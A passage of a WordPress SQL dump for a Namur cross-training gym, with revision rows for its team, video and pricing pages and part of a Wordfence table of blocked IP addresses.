'9-revision-v1', '', '', '2015-04-21 09:07:44', '2015-04-21 09:07:44', '', 9, 'http://www.crosstrainingcenter.be/9-revision-v1/', 0, 'revision', '', 0),
(481, 1, '2015-04-21 09:46:39', '2015-04-21 09:46:39', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n        &lt;li&gt;Formation Personal Trainer (Parnasse)&lt;/li&gt;\r\n	&lt;li&gt;Formation Les mills Coach BodyBoxe&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2015-04-21 09:46:39', '2015-04-21 09:46:39', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(480, 1, '2015-04-21 09:40:45', '2015-04-21 09:40:45', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-420\&quot; alt=\&quot;youssra_boujat_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/youssra_boujat_pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;141\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Youssra Boujat&lt;/h2&gt;\r\n&lt;h5&gt;Instructeur de Zumba Fitness&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Etudiante infirmière à l\'HENALLUX&lt;/li&gt;\r\n	&lt;li&gt;Basketteuse au Belfius Namur Capital&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de courses à pieds et de fitness&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-237 alignleft\&quot; alt=\&quot;mathieu_gille-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/mathieu_gille-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Préparateur physique en sport collectif et individuel&lt;/li&gt;\r\n	&lt;li&gt;Brevet A de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et golf&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-232 alignleft\&quot; alt=\&quot;bertrand_bauwin-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/bertrand_bauwin-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en psychomotricité&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique et entraineur de football diplômé de l’URBSFA&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot, triathlon, tennis et VTT&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-236 alignleft\&quot; alt=\&quot;julien_meulemans-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julien_meulemans-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Maitre psychomotricien&lt;/li&gt;\r\n	&lt;li&gt;Formation de personal trainer&lt;/li&gt;\r\n	&lt;li&gt;Formation en Streching Global Actif (SGA)&lt;/li&gt;\r\n	&lt;li&gt;Formation à l’initiation au golf et snag golf&lt;/li&gt;\r\n	&lt;li&gt;Enseignant en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de foot et de ski&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-390\&quot; alt=\&quot;chloe_chmiel_pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/05/chloe_chmiel_pti.jpg\&quot; width=\&quot;108\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Chloé Chmiel&lt;/h2&gt;\r\n&lt;h5&gt;Coach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Master en kinésithérapie&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en kinésithérapie sportive et thérapie manuelle&lt;/li&gt;\r\n	&lt;li&gt;Kiné Nat.3 basket de Belgrade&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de course à pied et danses sportives&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2015-04-21 09:40:45', '2015-04-21 09:40:45', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(484, 1, '2015-04-21 10:03:23', '2015-04-21 10:03:23', '', 'map', '', 'inherit', 'open', 'open', '', 'map', '', '', '2015-04-21 10:03:23', '2015-04-21 10:03:23', '', 0, 'http://www.crosstrainingcenter.be/wp-content/uploads/2015/04/map.png', 0, 'attachment', 'image/png', 0),
(485, 1, '2015-04-22 07:38:04', '2015-04-22 07:38:04', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n\n&lt;div align=\&quot;center\&quot;&gt;\n\nPrésentation du Cross Training Namur\n\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\n&lt;iframe src=\&quot;//www.youtube.com/embed/z_jNG_jQ8gU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\n\n&lt;/div&gt;\n\n&lt;/div&gt;&lt;/td&gt;\n\n&lt;/tr&gt;\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-autosave-v1', '', '', '2015-04-22 07:38:04', '2015-04-22 07:38:04', '', 369, 'http://www.crosstrainingcenter.be/369-autosave-v1/', 0, 'revision', '', 0),
(486, 1, '2015-04-22 07:38:29', '2015-04-22 07:38:29', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/_os-BkWwGKU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/v=dgKynOMF_HI\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-revision-v1', '', '', '2015-04-22 07:38:29', '2015-04-22 07:38:29', '', 369, 'http://www.crosstrainingcenter.be/369-revision-v1/', 0, 'revision', '', 0),
(487, 1, '2015-04-22 07:39:30', '2015-04-22 07:39:30', '&lt;h1&gt;Retrouvez ici les vidéos illustrant le déroulements des séances&lt;/h1&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nPrésentation du Cross Training Namur\r\n\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/_os-BkWwGKU\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n&lt;iframe src=\&quot;//www.youtube.com/embed/dgKynOMF_HI\&quot; height=\&quot;225\&quot; width=\&quot;300\&quot; allowfullscreen=\&quot;\&quot; frameborder=\&quot;0\&quot;&gt;&lt;/iframe&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'En images', '', 'inherit', 'open', 'open', '', '369-revision-v1', '', '', '2015-04-22 07:39:30', '2015-04-22 07:39:30', '', 369, 'http://www.crosstrainingcenter.be/369-revision-v1/', 0, 'revision', '', 0),
(490, 3, '2015-09-02 17:07:45', '2015-09-02 17:07:45', '&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot;&gt;&lt;img class=\&quot;alignnone size-full wp-image-494\&quot; alt=\&quot;nouvelles seances CT\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/nouvelles-seances-CT.png\&quot; width=\&quot;900\&quot; height=\&quot;635\&quot; /&gt;&lt;/a&gt;\n\n\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\nRéserver vos séances de Small Group Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Duo Training:&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nEntrainements à deux personnes sous la supervision d’un coach.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Personal Training:&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nUn coach par personne, l’idéal pour progresser plus rapidement!\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Coaching nutritionnel:&lt;/h2&gt;\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/contact/\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\nRendez-vous avec une diététicienne pour améliorer votre santé.\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h2&gt;Prix&lt;/h2&gt;\n&lt;table&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Séance Booster&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;20.00€ (Sur rendez-vous)\n30 min : 10 min de bilan + 20 min de découverte avec un coach en personal training&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Personal Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 60.00€\n30 min : 35.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Duo Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;60 min : 35.00€\n30 min : 20.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Small Group Training&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 10.00€\n1 carte de 10 séances : 90.00€ (valable 6 mois)\n1 carte de 20 séances : 150.00€ (valable 6 mois)\n1 carte de 50 séances : 300.00€ (valable 1 an)&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Préparation physique&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 40.00€\nSéance de 30 min orientée sur les spécificités du sport&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + coaching nutritionnel pendant 3 mois = 235.00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\nSuivi 15,00€&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;', 'Les séances - Namur', '', 'inherit', 'open', 'open', '', '363-autosave-v1', '', '', '2015-09-02 17:07:45', '2015-09-02 17:07:45', '', 363, 'http://www.crosstrainingcenter.be/363-autosave-v1/', 0, 'revision', '', 0),
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-- --------------------------------------------------------

--
-- Structure de la table `wp_wfBlocks`
--

CREATE TABLE `wp_wfBlocks` (
  `IP` int(10) UNSIGNED NOT NULL,
  `blockedTime` bigint(20) NOT NULL,
  `reason` varchar(255) NOT NULL,
  `lastAttempt` int(10) UNSIGNED DEFAULT '0',
  `blockedHits` int(10) UNSIGNED DEFAULT '0',
  `wfsn` tinyint(3) UNSIGNED DEFAULT '0',
  `permanent` tinyint(3) UNSIGNED DEFAULT '0'
) ENGINE=MyISAM DEFAULT CHARSET=utf8;

--
-- Déchargement des données de la table `wp_wfBlocks`
--

INSERT INTO `wp_wfBlocks` (`IP`, `blockedTime`, `reason`, `lastAttempt`, `blockedHits`, `wfsn`, `permanent`) VALUES
(3164986572, 1496125250, 'Blocked by Wordfence Security Network', 1496125252, 2, 1, 0),
(1279978460, 1494174197, 'Blocked by Wordfence Security Network', 1494174199, 1, 1, 0),
(794439728, 1494596017, 'Blocked by Wordfence Security Network', 1494596019, 2, 1, 0),
(2202594575, 1494167955, 'Blocked by Wordfence Security Network', 1494168024, 1, 1, 0),
(3098029701, 1494186073, 'Blocked by Wordfence Security Network', 1494186096, 1, 1, 0),
(3056763559, 1494186058, 'Blocked by Wordfence Security Network', 1494186099, 4, 1, 0),
(1053997316, 1494167247, 'Blocked by Wordfence Security Network', 1494167375, 2, 1, 0),
(3098024781, 1494150065, 'Blocked by Wordfence Security Network', 1494150076, 1, 1, 0),
(2996829330, 1494169647, 'Blocked by Wordfence Security Network', 1494169764, 4, 1, 0),
(1743622318, 1494223472, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1893028934, 1494133399, 'Blocked by Wordfence Security Network', 1494133418, 1, 1, 0),
(2727364316, 1494184792, 'Blocked by Wordfence Security Network', 1494149433, 3, 1, 0),
(3098024846, 1494116197, 'Blocked by Wordfence Security Network', 1494116210, 2, 1, 0),
(3098029782, 1494116196, 'Blocked by Wordfence Security Network', 1494116224, 3, 1, 0),
(762746819, 1494224241, 'Blocked by Wordfence Security Network', 1494224400, 8, 1, 0),
(2111103174, 1494203699, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3237666864, 1494087976, 'Blocked by Wordfence Security Network', 1494087978, 1, 1, 0),
(1632276610, 1494084900, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3098024844, 1494084893, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1729883369, 1494084572, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(2655384544, 1494084560, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1728523225, 1494084560, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3527006264, 1494204322, 'Blocked by Wordfence Security Network', 1494204426, 6, 1, 0),
(633031051, 1494134009, 'Blocked by Wordfence Security Network', 1494134260, 1, 1, 0),
(843039290, 1494084555, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(521678460, 1494223417, 'Blocked by Wordfence Security Network', 1494084584, 2, 1, 0),
(3423600883, 1494203507, 'Blocked by Wordfence Security Network', 1494203564, 3, 1, 0),
(2746000698, 1494203485, 'Blocked by Wordfence Security Network', 1494203690, 6, 1, 0),
(469651732, 1494072996, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(2988470183, 1494100230, 'Blocked by Wordfence Security Network', 1494100340, 6, 1, 0),
(3164982411, 1494204457, 'Blocked by Wordfence Security Network', 1494084536, 2, 1, 0),
(3353828771, 1494084554, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(1632245985, 1494060818, 'Blocked by Wordfence Security Network', 1494060838, 2, 1, 0),
(3346287710, 1494116335, 'Blocked by Wordfence Security Network', 0, 0, 1, 0),
(3069127338, 1494184828, 'Blocked by Wordfence Security Network', 1494184862, 2, 1, 0),
(1138881296, 1494167247, 'Blocked by Wordfence Security Network', 1494167509, 4, 1, 0),
(3191614634, 1494173321, 'Blocked by Wordfence Security Network', 1494173323, 2, 1, 0),
(637050808, 1493312452, 'Blocked by Wordfence Security Network', 1493312455, 4, 1, 0),
(28968311, 1493316187, 'Blocked by Wordfence Security Network', 1493316190, 4, 1, 0),
(621184356, 1493320110, 'Blocked by Wordfence Security Network', 1493320112, 4, 1, 0),
(3412761521, 1493340938, 'Blocked by Wordfence Security Network', 1493340942, 4, 1, 0),
(831636304, 1493351968, 'Blocked by Wordfence Security Network', 1493351973, 4, 1, 0),
(702768013, 1493352643, 'Blocked by Wordfence Security Network', 1493352646, 4, 1, 0),
(2873895206, 1493386238, 'Blocked by Wordfence Security Network', 1493386241, 4, 1, 0),
(2058018895, 1493404013, 'Blocked by Wordfence Security Network', 1493404015, 4, 1, 0),
(608761984, 1493410002, 'Blocked by Wordfence Security Network', 1493410039, 4, 1, 0),
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(3039577960, 1493433332, 'Blocked by Wordfence Security Network', 1493433335, 4, 1, 0),
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(1023584817, 1493439195, 'Blocked by Wordfence Security Network', 1493439198, 4, 1, 0),
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(773229120, 1493702332, 'Blocked by Wordfence Security Network', 1493702334, 1, 1, 0),
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(3590043250, 1494344413, 'Blocked by Wordfence Security Network', 1494344414, 2, 1, 0),
(3382964636, 1493310999, 'Blocked by Wordfence Security Network', 1493311003, 4, 1, 0),
(3157204740, 1493310765, 'Blocked by Wordfence Security Network', 1493310768, 4, 1, 0),
(1396104586, 1493305620, 'Blocked by Wordfence Security Network', 1493305622, 4, 1, 0),
(1317189474, 1493283580, 'Blocked by Wordfence Security Network', 1493283583, 4, 1, 0),
